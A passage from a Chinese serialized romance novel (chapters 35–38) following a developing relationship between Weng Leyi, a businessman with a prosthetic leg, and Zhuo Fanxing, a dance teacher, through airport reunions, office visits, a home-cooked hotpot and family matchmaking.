京市家属院,翁乐仪正在看她发来的粗剪视频,他昨天已经看过了。他现在没事,所以选择再打开。 “乐仪,出发吧。” “好的。”翁乐仪按灭手机,套上外套。 他昨天从津市的工厂折返回到爷爷家,他们要去吃顿早饭。 京市的天很冷,昨日下了场雪,如今天晴,白茫茫一片。从家属院出去,走过不远就是后海,岸边的柳树光秃秃剩了枝条。冰场再过一个多月才会开放。 他们习惯在一家老字号炒肝店吃早饭,翁爷爷瞧见了佟家爷孙。 “来,老佟,坐这儿来。” “您今儿真是新鲜,跑这儿来吃早饭。”佟爷爷摘了帽子,佟笑赶紧给他把翘起来的几根白毛压服帖。 “乐仪刚好过来,我早晨突然惦记这一口了——”他说着就转过去,排队的地方,乐仪正和佟家姑娘站在一起。 小姑娘脸蛋圆圆,打了个哈欠,到她了,脑袋一伸,笑的和多花儿似的对里面的阿姨点菜——多讨喜啊。 翁乐仪说:“一道结账。” 佟笑说:“那怎么好意思呢,不用不用。” “没事,下次我爷爷来,你也请回来。” 佟笑说:“那感情好,叫我爷爷请。”她问:“你记得卓繁星吗?” 翁乐仪瞧了她一眼,点头。佟笑说:“上次在旗袍店,你俩就碰上了。她是我大学同学,我俩住对床。” 翁乐仪付好了钱,两人拿着托盘往回走。 翁爷爷问:“你家姑娘找对象了吗?” “没呢。要不你给他介绍一个?以前吧老在外面飘,我儿媳妇老说她,结果现在就搁店里呆着,更愁人了——你家小子呢?” 翁爷爷叹气。“一样。一天到晚忙工作,你说哪家姑娘能看上他。” “我见着分明是他要求高。”他见着翁乐仪在他对面坐下,嗐,小伙子真是一表人才,就是可惜了这条腿。别以为他不知道他的心思,可他就这么一个乖宝贝,可不想她吃苦。别的不说,就得找个健健康康的。 翁爷爷说:“都一样,谁也别说谁。” 翁乐仪不知道他俩聊什么,回来就听见这句。佟笑积极跑去拿筷子,回来的时候也是跳着的。 翁爷爷见了就喜欢,忍不住就和她多聊天。嘿,小姑娘吃的也多,胃口真好。“您也爱吃这个艾窝窝呢,我也爱吃。我爷爷总不喜欢这个味道。” “乐仪也不爱。” “马记的也好吃,得是鼓楼那家的,回头我给您带。” “那感情好,我住XX院,平常都在,麻烦你送过来。” “电瓶车五分钟的事儿,包在我身上。” 翁爷爷回去一路都是笑呵呵的。“你俩微信加上啊,到时候给她发定位。” 翁乐仪无语。“您是她家老主顾,她家里没您地址?” 翁爷爷哼了一声。“我那是为谁呢?” “不用您操心,我有对象了。” “啊?”翁爷爷本来背着手走前面去了,一下停住,转回来看他。 “真的?你诓我呢吧。” “我骗你做什么?” “哪家的姑娘?有照片吗?谈了多久了?快给我看看。” 翁乐仪本来想说到时候您就知道了,突然想到了什么,笑道:“别说,您还真见过。” 好了,这一下彻底把老人给惹恼了。要是个陌生人吧也就算了,可这句您见过,叫他真是想的抓耳挠腮,恨不得把自己以前见过的女娃娃都翻出来。 那头,卓繁星也是起了个大早,去敲邵丽丽的门。 昨天洪旺将她送过来的。一进来,他提了一只大的行李箱——那是邵丽丽前几天说去拍戏理出来的,邵丽丽跟在后头,脸白如纸,和先前住院的时候没两样。 杰米不知道怎么给她接洽到一个短剧拍摄的工作,邵丽丽停工许久,眼见着是个好机会,当然特别开心,毕竟现在短剧市场非常火爆。 她高兴地出发了,结果没想到那边工作强度这么大。她本来身体就虚,连着拍了十五个小时,又穿的单薄,收工回来就发烧了。 洪旺说:“这两天我在H大有个交流会,麻烦你了。” 邵丽丽人怏怏的,卓繁星问她想吃什么。她摇头说没胃口。 “你好点没?” “别把你给传染了。”她躲在后面讲,她在医院里面查出来是病毒性的。 “你自己记得量体温啊。” 卓繁星去小区超市买了红枣小米,放电饭煲里煮。 手机里佟笑发信息过来说她遇见翁乐仪了。【和他爷爷出来一道吃早饭。】 翁乐仪发了张后海的照片。 卓繁星立刻想起有有一年年初二,舅妈一家都回老家去了,她一个人留在京市。那年过年的时候,她自己给自己煮了盘饺子,还是保姆奶奶回家之前包好速冻的。 她没觉得多孤单,反而有种松口气的感觉。蒋凌洲提前去了美国念书,当然他们都觉得她是被他甩了。不过好像也差不多吧。所以卓繁星在后来他回来找她的时候,分外的意外和不理解。 因为她觉得他应该对她并没有多喜欢。 舅妈去蒋家拜年的时候,蒋凌洲妈妈估计很不待见她,她回来就说:“女孩子还是要自爱,这时候读书最重要,其他的事情不要去想。” 卓繁星知道是说给自己听的。她没觉得委屈,就是羞。答应蒋凌洲的是她啊,谁也没逼她。 灵均反而很不乐意。“那俞阿姨怎么不说说他儿子。一个巴掌拍不响,男的就没错了。我们最自爱了,顶自爱了。” 然后就被舅妈凶了。 她在房间里还在替她不值。“他什么意思,拍拍屁股出国去了。他和你联系过没?怎么这么狠心。早知道我才不要喜欢他。渣男一个。” 年初二的时候他们还没回来,卓繁星就自己跑后海溜冰去了。 她在炒肝店碰见和爷爷一道去吃早饭的翁乐仪。翁爷爷得知他俩是同学,和蔼地问:“一个人出来?” 卓繁星拿着一串糖葫芦,说:“我和同学出来玩儿。” “来溜冰吧。” 卓繁星点点头,抿着嘴补充道:“他们在冰场等我呢。” “那你好好玩儿。新年快乐。” “新年快乐。”卓繁星看着他,又羞涩地看向他身边的翁乐仪。“翁乐仪,新年快乐。” 男孩儿穿着一件黑色短款羽绒服,戴着一只卡其色雷锋帽,口罩下闷闷的声音传出来:“新年快乐。” 卓繁星突然觉得好幸运,这一天都变得很美好。 翁乐仪之后又去了蒋家,姥姥电话打来叫他过去吃午饭。他以为会见到他妈妈,没想到她不在。 舅妈俞秋华说:“她在西山别墅,去了你爸那儿一趟,回来就感染了,我估计是从你爸那儿传染过来的。现在流感厉害,你也要当心。” 家中有客,是京市大学经济管理学院的主任,为了迎接校庆,如今院里在做校友的专访,预备放在新的校刊里。 家里寻了个光线好的地方采访,翁乐仪去的时候已经快结束了。 电梯里,他们一道下来,秦老太太见着他,同他们介绍。“这是我外孙,翁乐仪。” “是乐且有仪的那个乐仪?”说话的姑娘一身暖黄色的毛呢长裙,腰线掐的好,又穿了一双高跟鞋,显得非常挺拔。 “正是呀。”老太太有些意外地看着她。 几人到了客厅落座,翁乐仪不免要被问起Y市的事。 他简短讲了讲。好在蒋凌洲携林灿赶来,他终于能将位置让出去。 俞秋华愣了下,老太太已经招手叫林灿过去,显然这是婆婆的主意。 连衣裙姑娘叫程知遇,本科是学经济学的,后来研究生辅修了新闻与传播。若按她的规划,或许留校,或许去电视台做财经类的主持。不过总的来说,都是一条康庄大道。 程知遇在斯坦福大学交流过半年,对蒋凌洲略有耳闻。他的基金公司非常成功,每年交出来的成绩都十分亮眼。 因为专业契合,二人不免多聊了几句。 林灿对这类高知女性十分敬佩,羡慕她们头脑好,很快加上微信。 “你是芭蕾舞者?”程小姐明显也对她很感兴趣。“说来惭愧,我小时候妈妈也逼着我学了几年,可是我实在坚持不下去。” “的确很枯燥啦。真的吃过这个苦的人才知道。不过你条件真的很好,怪不得你母亲坚持。” 翁乐仪低头回着消息,卓繁星发来一张图片——她自己熬的小米红枣粥,搭配买来的豆沙包、南瓜馒头,还有炒的西芹百合。配文:我厉害吗?加一个小熊跳舞的表情包。 【现在才吃早饭吗?】他发过去。 【是午饭。】她又发过来:【你吃了吗?】 【还没,在姥姥家。】 那边正在输入中【那我先开动啦】,随之而来的就是兔子亲亲——一只兔子趴在另一只兔子脑袋上咬了一口。 翁乐仪的手指顿了一下,抬头就看见他们在看他。 “怎么?” 程姑娘说:“是在看什么有意思的事吗?你刚刚笑的很开心。” 她说完咬了咬唇,觉得自己冒进了,明显他们还没那么熟。 翁乐仪笑了下,没有解释。“我去泡杯咖啡,你们要吗?” 他起身,两个姑娘很捧场的点了一杯。程知遇目送他离开,转过头对上林灿有些意涵的眨眼。 她觉得脸热,理着裙子起来说:“我去看看,我对咖啡机、咖啡豆这些很感兴趣。” 她走后,林灿啧啧两声。“小翁的魅力好大。” 蒋凌洲低头点烟。 “你说她俩有没有可能?” “谁?”他的声音有些含糊。 林灿的眼睛瞟向厨房的方向,隐隐好像还能听到一些交谈声。 “我觉得小翁比你还难搞。”她转过来趴在他肩上肯定道。 这句话明显让蒋凌洲觉得有意思,他失笑,没有否认。 “小翁以前有喜欢的人吗?” 蒋凌洲愣了下,看她。“你很关心?” “我在评估程小姐成功的概率。如果有一个参考就能知道他喜欢哪个类型。就好像初恋总是白月光一样的存在,对男人尤甚。” 她有意去观察他的表情,奈何他毫不在意。 第36章 ◎小动物(四)◎ 翁乐仪回Y市那天有同卓繁星发过信息。他大约4点落地,可以一道吃晚饭。 卓繁星去机场接他,这个决定是临时的,当时想做便去做了。她很少有这样不加思考的时候,可是偶尔这样的冲动还是很快乐的。 她想给翁乐仪一个惊喜。 她同新来的老师调了课,早早便赶到机场。然而翁乐仪在落地后就给她打了电话。“临时加会,我得赶去公司,抱歉,不能一道吃晚饭了。” 卓繁星想还好自己来了,不然不是要明天才能见面了。 她更期待他见到自己的表情了。 翁乐仪没有等来她的声音。“卓繁星。” “好吧。”她低落的声音通过话筒传过来,翁乐仪蹙了蹙眉。机场大厅十分宽敞,脚下的地面光可鉴人,人来人往,有一种疏离的秩序感。 “抱歉。”他沉声讲。“或许你休息那天,我们可以去远一些的地方,你想去哪里?我来安排。” 他的声音还在耳朵边,有些抱歉,又很无奈,想要安慰她。卓繁星不介意多听一会儿。 她看着背对她的人——卡其色的灯芯绒衬衫领子贴着他修剪过的头发,他一只手插着大衣口袋,露出来的侧脸极为干净。 “卓繁星?”久等不来她的回应,翁乐仪有些不确定地看了眼手机。 腰上被轻轻戳了戳,他蹙眉转头。 “帅哥,能加个微信吗?” 卓繁星晃了下手机,白色的贝雷帽下面,调皮地望着他。 “什么时候来的?” “也就比你早了那么半个小时吧。你好忙呀。”她有些抱怨地嗔道,随即问他:“有没有被惊喜到?” 他肯定很开心。因为她都看到他弯起来的眼睛了。 卓繁星得意地望着他,两人都从对方的眼睛里看到了雀跃与惊喜。 “还好我来了,不然今天不是见不到你了。” 翁乐仪的眼珠亮的惊人,卓繁星被这样注视着也是会害羞的。她低下头,去看四周,问:“你没有行李箱吗?怎么回公司?唉?” 她被他牵走,直到停在一间书屋侧面。 吻很快落了下来。 像在冬天里喝上一杯热咖啡,奶泡的香气融合了咖啡的醇香,温暖又满足。 卓繁星几乎就在一瞬间抬起手圈住他的脖子。他一只手从她的耳朵,滑到她的脖子,半托着她的脸,全部的肢体语言都仿佛再说拥有我吧。 在某个停下的档口,她笑出来。 翁乐仪问她笑什么。她说:“你的嘴唇就像玫瑰花瓣一样。” 翁乐仪ge不到,他觉得她才像,像带着露水的玫瑰,还有甜果冻。可是他不想想太多,他觉得自己像躺在草地上晒太阳。 他离京前看望父母的时候,他们就是这样,在庭院的草坪上晒太阳。 翁乐仪重新吻住她,卓繁星仰头承受着这些甜蜜。 安杰取好行李没看见老板,司机打来电话,确认是否现在从停车场开过来。 他正为难,就看见书屋侧面的角落,一对正在接吻的男女。老板闭着眼睛,沉溺地亲吻着怀里的女孩儿。 “哎。”他叹了口气,告诉司机暂时不需要,等他消息。 来接翁乐仪的是一辆六座的商务车,安杰坐在前排,一上车后除了同翁乐仪简单地告知了一番会议的事项,便十分安静。 卓繁星坐上车时脸还是红的,当然不排除是被外面的冷风吹的。她的手还被握在翁乐仪手里,方才书屋里的一个姑娘睁着眼睛瞧他们。 即便拿着的书就让她露出了一双眼睛,可那眼睛也睁的太大了,都让人想象到她张大的嘴巴。 卓繁星的舌尖刺刺的,好像被吮破了。 她舔了舔,有些羞恼地瞪他。 “我觉得我还是回家吧。” 翁乐仪看着她,她的手指还被他揉着。一种很陌生的情潮,像海浪,连续不断地冲击着翁乐仪的心房。他感觉非常陌生,可绝不能说不愉悦。 相反,他知道那是一种兴奋的情绪,让他不想和她分开。 “我们不是说好了。”他这样讲。 因为前排的两人,卓繁星无法继续争辩。 安杰待在翁乐仪身边的时日算不上长,可自认观察人有些心得,老板这样的状态着实罕见。他无人可分享,只有默默消化,同时同身边的司机老哥对视一眼。 虽然安杰不能将见到老板女友的事发到公司小群里,可老板都要将人带去公司了,势必有八卦可看。八卦啊,总是不缺席的。 这正是卓繁星怕的。 她有些埋怨地看了翁乐仪一眼。即便下车后,他终于松开了她的手,可这也很难解释为什么她跟着他上了电梯,一路走进他的办公室,然后他在离开后拜托秘书办公室的小姑娘说:“凯思,麻烦照顾一下她,如果她有什么需求的话。” “好嘞!”小姑娘跃跃欲试,一口答应,热情度简直不要太高。拜托,这可是老板第一手的八卦,她在吃瓜前线哎,谁还能有她有第一手资料。 她送了茶点水果,又问卓繁星要喝点什么。如果要喝奶茶饮料,楼下就有某茶。她果断下去买来啊。 卓繁星说不用,她喝水就好。 小姑娘麻溜倒了一杯水。“我就在外面,如果你有需要,可以叫我哈。” “嗯嗯,谢谢。” 卓繁星见她出去了,才长出一口气。这种被人关注的感觉压力好大。 到了6点半,于晴晴敲门进来说:“卓小姐,翁总的会还没结束,他让我问您晚饭想吃什么?” 这个姑娘不是刚才的那个,卓繁星估计她都下班了吧。 万恶的资本家,可是资本家好像也在加班。 “公司有食堂,吃的也挺丰盛的。如果您有其他想吃的,我也可以安排他们送过来。” 卓繁星不想再呆在这间办公室了,就是再有格调,她也已经欣赏透透的了。 她说:“吃食堂就好了。” “好的,我带您去。” 卓繁星跟着她,经过办公区的时候,看见会议室里的百叶窗都合着。 电梯里,“我叫于晴晴,您可以叫我晴晴。” “我叫卓繁星。” 于晴晴是标准的白领打扮,黑色的西装外套里搭了一件白衬衫,扣子解开两颗,不显得沉闷。脖子上挂了一块工牌。 她在打量她的时候,于晴晴也在看她。 今日翁总带女友来公司的事已经传遍了。凯思吃瓜归吃瓜,可不敢拍照。不过一路过来,也有人拍到几张模糊的照片。不论如何,是个漂亮姑娘。 【翁总自己就是帅哥,找的女友肯定不会差啦。】 【你别说真的特别搭,光一个背影就很搭哎。】 【我宣布今天是我们公司广大妇女同胞失恋的日子。公司能不能慰问一下我们,上班已经很难了,还要遭受这种暴击。噗呲吐血.jpg】 【你想P吃啦,不让你加班到10点就好了。】 【有对象也好yy的啦,又没差。本来也只能yy啦。】 【是的,梦里什么都有!我还是小翁总的梦女,(*╯3╰)!】 【+1】 【不过翁总带女友来加班哎,我心里突然平衡了。】 【呵呵。他能带女友来加班,你能带吗?对象早跑了吧。】 【人艰不拆!】 【不要和资本家共情!握爪!】 【握爪!】 【今天食堂有草莓盒子吗?】 【我刚去还剩三盒,你现在下去应该还来得及。】 【可怜吧唧。家人们,我馋这口很久了,让让小宝吧。】 于晴晴按灭手机,群里每天都是这些消息。翁总的八卦也不过掀起小风浪,打工人还是要过自己的日子。 她想起凯思微信发她的时候,她请示了安杰,安杰在翁总耳朵边说了几句,翁总明显愣了下,然后把自己的工牌摘下来给她。 翁总这个女友倒是比她想的要朴素许多。看起来很年轻。耳朵上戴了一只星星耳饰,不像非常昂贵的样子。 翁乐仪用餐的地方与员工会区隔开,相对安静。 两人简单用了一些,于晴晴收到安杰的电话,要她为加班的工作人员订餐。 “那边应该快结束了。”她挂了电话对卓繁星说。 卓繁星问:“那翁乐仪要吃什么吗?” “他,哦,翁总——”于晴晴迅速记录下安杰发来的信息,说:“翁总平常工作忙的时候都是我们安排订餐,他有什么忌口我们也知道。” “嗯。你们好忙呀。”卓繁星感叹道。 “是的,现在因为是年底,确实会比较忙碌。” “那会有加班工资吧。” 于晴晴明显愣了下,笑道:“当然,肯定会有。” “卓小姐是做什么的?”气氛轻松,她终于问了出来。 “我是教舞蹈的。” “舞蹈老师,怪不得,您气质很好。” “谢谢。” 卓繁星回到办公室,翁乐仪又过了十几分钟才进来。 “抱歉。”他一进来就道歉。 卓繁星站在落地窗前转头。“我感受到了小说里霸道总裁的感觉了。” 他站在她身边,居高临下便是辉煌灯火,CBD的光芒像是一颗夜明珠,在深夜里闪闪发光。 翁乐仪非常抱歉,觉得自己坚持让她陪他过来真的不是一个好主意。他并没有时间给她。 “我有个事要跟你说。” “什么?” “照片。”卓繁星把胸口的工牌拿起来。“我想要这个照片。” 翁乐仪看着工牌上自己的证件照,有些无奈地又看回她。 “或者你再去补办一张工牌,这个就给我吧。”她圆圆的眼睛撒娇一样望着他。 翁乐仪移开视线。“你一个人这么久很无聊吧。” 卓繁星不否认。“是有那么点。不过我本来今天的时间都是你的。”她朝他笑,背景是翁乐仪看过许多遍的城市灯火,然而今日格外的闪烁明亮。 “我特地调休来陪你呀” 翁乐仪低头吻住她。 在某个瞬间,他觉得自己仿佛吃了一块黄油蜂蜜面包,自己好像是一只抱着蜜罐的熊。 安杰拿着他的饭进来。“翁总。” 卓繁星一下推开他。 翁乐仪也有些尴尬。“谢谢。”他接过来放在桌上。还有一些资料。 卓繁星说:“所以你今天还没有结束?” 翁乐仪摸了摸鼻子。 卓繁星哼了一声,拿着那只工牌说:“没收!” 【作者有话说】 第37章 ◎小动物(五)◎ 卓繁星接到邵丽丽的电话,她今日第一次去公司上班,正是先前繁星有听她提过的那家小型设计公司。 “所以你现在在哪里吃饭?”卓繁星问她。 “隔壁负一楼的美食广场,砂锅土豆粉。你要来点吗?” 卓繁星听见嘈杂的人声,还有叫号的声音,然后邵丽丽说:“这边。” “等我一下,我去拿点调料。” “你不是在减肥?”这些东西她基本不碰的。 “我再不吃点好的我要爆炸。我感觉在这里上班比我熬大夜都累。” 邵丽丽恨恨地又加了一勺辣椒。“那个人事40来岁,穿的和大妈一样噢,她以为我是老板的情人。他们这边来过很多个了。她把我简历拿去一看,好,我知道我中专生,他们这个公司直接pass的。” “她说既然老板说了,那你就好好上班。我们这边公司管理还是有规章制度的,不能搞特殊。” 邵丽丽阴阳怪气地把她的话重复了一遍。 “或许是前任留下了不好的印象。” “拜托,她也要看看她老板那个样子我看的上的呀,个子跟我差不多,我踩上高跟鞋要俯视他的。我最讨厌矮子了。” 卓繁星噗呲一下笑出来,劝道:“他是你老板。” “我知道,我好好上班呀,我又不是白拿他钱。” “还有,我想着今天第一天上班总要打扮一下的。叫我不要穿成那样。我是穿成什么样了,不晓得的以为我裸奔哎。” “还有我拿的这只CF像假的吗?我隔壁的小姑娘问我哪里买的货,版型蛮正的。气死我了。” 先前财政吃紧,她好几只包都挂咸鱼上卖掉了,如今就指望这个撑撑场面,没想到被说是假的。 “我给洪旺打电话,我真是委屈死了呀,没有两只包包治不好。” 那边还没挂断。“你要不要去啦,shopping一下。” “我没钱。” 她一听就无语了。“翁总这么小气的啊,洪旺都把副卡给我了,他那么大一个老板什么表示都没有?你不要不好意思啦,这种事对他们” “他有送过我一个首饰。” “噢,首饰好呀,这个值钱。是不是V家的,还是C家的。我就说么翁总不至于这点东西都不给的。” “你提醒我了,我除了包,还可买只手表。” “这么高调真的好么?”卓繁星弱弱地问。 “他们现在孤立我哎,我要不做点什么,不是任由她欺负了。” 翁乐仪这两天在Y市下面新建的工厂视察,卓繁星给他打电话的时候,他穿了一条灰色厂服,尤其的接地气。卓繁星还是头一次见他这样打扮。 “呦,这是小翁总?”上班回来的邵丽丽从她跟前飘过,同她一样新鲜。 电话结束,她对她说:“人好看穿什么都好看哈,不过么叫我想到一点奇怪的东西。” “什么?” 她眨巴一下眼睛,卓繁星后悔问她了。 “寂寞的女人在家,有一天水管坏了,水管工趴在地上,大腿的肌肉那个紧哦,水把衣服都喷湿了,从他黑色的头发一路滴到英俊的脸,衣服一脱下来,偶买噶,那个肌肉哦,扑上去了呀。” 卓繁星第二天晚上上了翁乐仪的车——他驱车一个多小时赶回来,如今还是那身灰色厂服,嘴唇上带着浅浅的胡茬。 卓繁星瞬间想起邵丽丽黄黄的话。 “干嘛这么赶,明天回来也可以啊。” 翁乐仪喝了口水说:“还好。” “晚饭呢?” 他摇头。卓繁星说:“要不我们买点菜去你家烧?” “可以。” 他家附近就有一间大型商场。卓繁星已经计划好烧番茄锅,他们两个都不擅长烹饪,做火锅是最没难度的。 卓繁星没忍住悄悄看他,他察觉到了,问她看什么。 她将糙汉文学说给他听。 “什么乱七八糟的。”翁乐仪捋了一把头发,确实很脏,而且在那边厂服很方便,他甚至再问他们要了一套。 卓繁星拿起一包虾仁,转头问他,在某个瞬间停顿下来——他正在看架子上的酱料。卓繁星觉得他们像是一对夫妻,这让她有种温暖的感觉。 她走过去,挽住他的手臂,翁乐仪低头说:“要买花生酱吗?” “应该有配好的麻酱吧。”卓繁星又问他:“你吃香菜吗?” 他点头。卓繁星惊喜地望着他。“啊,又发现一个可以一起吃饭的点。” “我们都可以吃一点点辣,还喜欢吃醋。”她拨着手指,翁乐仪看着她的眼睛里含着浅浅的笑。 卓繁星是第一次到他家来,是一间大平层,装饰风格简洁,没有刻意划出餐厅的区域,餐桌是一张普通的原木方桌,墙上挂着一幅抽象画。卓繁星都能想象他从冰箱随意地拿出面包,坐在这张桌子前面。 翁乐仪说:“是我妈送来的。她原先吐槽了很久这间公寓的装修设计。” “阿姨的审美很好啊。” “确实。”她删减掉繁冗的家具,对于他这个腿不方便的人来说实用价值也很高。 “我可能要先去洗个澡。” “去吧,去吧。”卓繁星摆摆手,随即拉住他。 “嗯?”他挑了挑眉。 卓繁星踮起脚去亲他。 翁乐仪向后躲了一下。“我身上很脏。” 所以才是糙汉文学呀。卓繁星砸砸嘴,其实好像还有些夹杂着薄荷的烟味。啊,她在他车里看见薄荷糖了。 她不说话,就那么仰着头看他。 翁乐仪的矜持也就支撑那么一下,不然他为何驱车回来,除了面前这个人,还有其他的理由吗。 卓繁星这下确确实实地尝到了薄荷味,带着一溜溜甜味,不知道是不是她的幻觉,总之她觉得甜。 不知道亲了多久,总之她觉得她把他嘴巴里的薄荷味都舔干净了。他们埋在各自的脖颈里,享受着接吻的余韵。 卓繁星趁机把邵丽丽水管工与少妇的故事说给他听。 “你有没有看过这种?”她在他耳朵边上问,喷气把他耳朵都染红了。 翁乐仪说:“你少看这些东西。” 卓繁星很无辜。“我没看呀,我在问你。” “当然没有。我去洗澡了。” 卓繁星又揪住他。“那或许还是穿这件。” “不穿,没有了。” “那刮胡子吗?别刮了,明天再刮吧。” 翁乐仪停下,对身后喋喋不休的人说:“要不你跟我一起过去?” 她终于跑走了。 卓繁星很喜欢翁乐仪这里的厨具,尤其喜欢这只正在咕嘟咕嘟冒泡泡的珐琅铸铁锅。她刚刚偷偷搜了一下这个牌子,果断放弃。资本家的钱真是好赚。虽然它看起来真的很完美,但也绝对值不上这个价。 身后突然贴上来一个人,翁乐仪在她脸颊上轻轻亲了一下。 他一下变的香喷喷的了,带着海盐柠檬的香气。这种味道有种独特的少年气,同刚才的薄荷烟草味截然不同。 “要帮忙吗?” 卓繁星说:“不用啦,我就等你下来放年糕。” “谢谢,辛苦了。”翁乐仪又把脑袋放在她肩上,脸颊感受着她的发丝,他在刚刚看见她的时候,有一种满足感。仿佛他等待的就是这一刻。他驱车赶回来的时候,或许想的是他们见一面,可卓繁星总是给他惊喜。 饭桌上,卓繁星问他:“接下来是不是还要这样赶。” 他说那边工厂投产后,会有一部分办公人员迁过去,那边也会留一个办公室。 中途秦奶奶来了电话,卓繁星听见他喊姥姥。 她噤了声,连夹菜的动作都停了。 “嗯,正在吃好,我知道了,她应该还没有加我微信我会配合的。您也注意身体,好的,我回来就来看您。” “什么事?” “姥姥那边有个朋友要做一篇众鑫的采访,拜托我接洽一下。” “那是要采访你吗?” 翁乐仪说:“应该不需要我上镜。” 两人吃完后,已经是8点多。卓繁星随便找了一部恋综,主要是她觉得这个东西不费脑子,而刚好潘潘说有很多瓜,她就想看了。 卓繁星察觉到身边人的心不在焉,他的话很少,她问要不要看别的,他说不用,她以为他是累了。 过了一会儿,翁乐仪将手抽出来,说:“我去趟卫生间。” 卓繁星皱起眉,他的额头热乎乎的,抵着她的时候还有些潮湿卓繁星一下站起来,在卫生间门口敲了敲门。 “我今天没办法送你。你去隔壁客卧睡,好吗?”他的声音沉沉地传过来,像是压抑着什么。 卓繁星说:“家里的药箱在哪儿?” 里面安静了片刻,随后卓繁星在他说的地方找到了药,倒好热水。门终于开了,他额头上都是汗,坐在里面的一只椅子上。假肢被摘下来,那条裤腿空荡荡地垂落。 翁乐仪手上夹着一只烟,一截烟灰支撑不住颤颤巍巍地落在地上,和他一样。 卓繁星看着他吃了药,又把一只小型的脉冲仪器拿过来。 “我在外面等你。” “谢谢。” 卓繁星坐在餐桌前的椅子上,两个小时之前他们坐在这里吃饭,他或许就已经不舒服了。 她咬着指甲,恼恨自己为什么这么粗心,结束后还要拉着他看什么综艺。 翁乐仪开门出来,第一次没穿假肢。他高大的身影靠着门框,正对着灯光下的卓繁星。 那点昏黄的光洒在她身上,让他感受到她因为忧虑而不安稳的心,显得无比可怜。 他有些后悔带她过来。 他们躺在一起,注视着对方。 “你好点了吗?”她还是不太放心。 翁乐仪点头嗯了一声,因为疼痛而显得苍白的脸,如今还没有恢复血色。 他在被子下找到她的手,卓繁星很快便贴过来。 翁乐仪疲倦地闭上眼睛。 他不知道卓繁星久久没有睡着。如果说爱一个人便能感受他的痛苦,那卓繁星想她或许还不够爱他。她震惊于他的脆弱,当她同他一起躺在床上的时候,他承受的痛苦让他连话都不想说。 翁乐仪会想要自己看见他这样吗。 她忍不住隔着一段距离描摹着他的五官,眼泪不自觉便落下来,然后消失在枕头里面。她瘪了瘪嘴唇,爬起来在他额头轻轻亲了一下。 在入睡前,卓繁星想或许明天起来可以告诉他她那个关于器官的故事。她想要分享给他。 而他们现在真的手牵着手,一起入眠,这何尝不是一种梦境的实现。 当然,卓繁星第二天醒来,就有些失忆了。她睡的糊里糊涂,甚至往翁乐仪怀里钻了钻。 翁乐仪听见怀里的人嗯嗯唔唔,烦躁的声音,然后是啊的一声。 她撑起身,简短的一个对视后,咻的一下钻进了被子里。 翁乐仪咳了一下。“差不多了,我先去换衣服。你早饭要吃什么?” 两人又坐在那只餐桌前,今日阳光明媚,真是个好天。 卓繁星将床上稍微收拾一下,换下来的衣服放到脏衣篓里,会有阿姨上门清洗。 她探出头,对阳台上的人说:“翁乐仪,我先走啦,邵丽丽约我去逛街。” 翁乐仪疑惑地看了她一眼,这显然不在他预料之内。今天他的时间很空,他打算他们可以在一起一整天。 “卓繁星。”他起了个头。 卓繁星点了点他耳朵边的电话,轻声说:“我和她早就约好了,你突然回来,唔”她想了想还是说实话:“是去做个光子嫩肤啦,我出发啦。你好好休息哦。” “之后呢。”他追出来,她已经在穿鞋了。 之后?卓繁星愣了下才明白。“我今天就不过来啦,来回太折腾了。” 卓繁星之前没做过医美项目,邵丽丽说她带新客去有的送,而且光子很基础啦,就是保养。卓繁星就跟着去了。她下定决心绝不多花钱。 碰面的时候,邵丽丽问她:“你昨天没回来。” 卓繁星试图含混过去。 “所以咋样?” “什么怎么样?” 邵丽丽翻了个白眼。“感受怎么样?翁总绅士吗?还是那种床下床上两幅面孔。” “你快闭嘴吧。”卓繁星被她说的脸都红了。“什么都没发生。” “我信你个鬼。” “真的!” 当然除了早上。卓繁星不好意思说她好像知道他有点冲动了,不然也不会在卫生间呆那么久。 “你俩怎么回事?翁总不会不行吧,放着你这么个大美人。” “收,收。”卓繁星拦住她。“昨天只是太晚了,所以没回来。” 邵丽丽在她肩上重重一拍。“也对,第一次没有充足的准备,体验感也会下降啦。你是不是昨天穿的大妈内衣?” “我没有。” “那就是儿童内衣。总之都一样啦,等下我们做完脸就去买,不要不好意思,都是情趣。” 卓繁星一定是被她说服了的,不然怎么解释她手上这只价值999元的袋子。她莫名其妙买了一套蕾丝内衣,还有一条真丝睡裙。 邵丽丽还在喋喋不休。“我真的觉得还是那条绑带的适合你。” “那你赶紧自己买吧。” “对我来说又有点保守了呀。” 卓繁星瞪了她一眼,在她钻进试衣间的时候,给翁乐仪打去电话。 那边响了一会儿才接。 “你在忙吗?腿好点了吗?” 翁乐仪把耳机摘了,说:“嗯。” 卓繁星刚放心,他又说:“还有点疼。” “还疼?!那得去医院看一下。” “懒得去。”翁乐仪伸了懒腰。 “那我过来找你吧。”卓繁星皱了皱眉。 “好。”他翘起嘴角,打字回陈跃今天不玩了。 第38章 ◎sleep(一)◎ 卓繁星拒绝了翁乐仪的同居申请。 理由非常充分: 1、他家离她工作的地方太远了,不方便。 2、他并不是每天都在家,时常要出差或同前两天一样留宿新厂区。 如此一来,她搬过来实在不划算。当然,偶尔的留宿是可以的啦。 卓繁星承认自己还是有些害羞,再等等吧,她这样想。 然而很快一件事就打破了她的计划。 陈女士一贯是不具备太多为他人着想的意识的,她雇佣卓繁星,已经很给面子,那么卓繁星自然要适当地为她做一些事。即便带Bella去看舞剧不在她的工作范围之内。 她是这样讲的:“我那天实在不空。可是难得这么好的舞团过来,我还搞到两张VIP票,要是不带Bella去看,太可惜了呀。其实就是我去,也要叫卓老师一起去的。那些舞剧我又看不懂,没有你这种专业的人士在旁边讲解,我就是看个热闹呀。Bella什么也学不到。” “这是提高Bella艺术审美的事,我听教育专家这样的讲的,好的审美要从小时候就开始抓起。我们这种人家又不指望她高考,和那么多孩子一起竞争,最后肯定是要去国外精英培养的。” “我花这些心思让她学舞蹈为了什么,还不是为了以后有特长,申请学校用的上,那些外国大学就看这些花里胡哨的东西。” 她这样讲,卓繁星是绝不能拒绝她的,除非她不想赚她的钱了。 舞剧在Y市大剧院演出,卓繁星是第一次来,Bella有家中汽车接送,他们在外面碰头,Amy将人交给她,等结束了再来接人。 京市的舞团如今是巡演,剧场外就挂着巨幅海报,想来已经宣传已久。只是卓繁星向来在这些信息上闭目塞耳,若非陈女士,她绝不会踏足此地。 来观看的人群不乏带孩子的,卓繁星不算太引人注目,当然,如果正巧坐在前排,那就是另一种说法了。结束的时候,她不知在想什么心思,下台阶时一脚踩空。 Amy说送她去医院,她不敢耽搁Bella的回家时间,自己叫了辆车去。 翁乐仪电话打来的时候,问她在哪里,有没有到家。 卓繁星说嗯,到了。 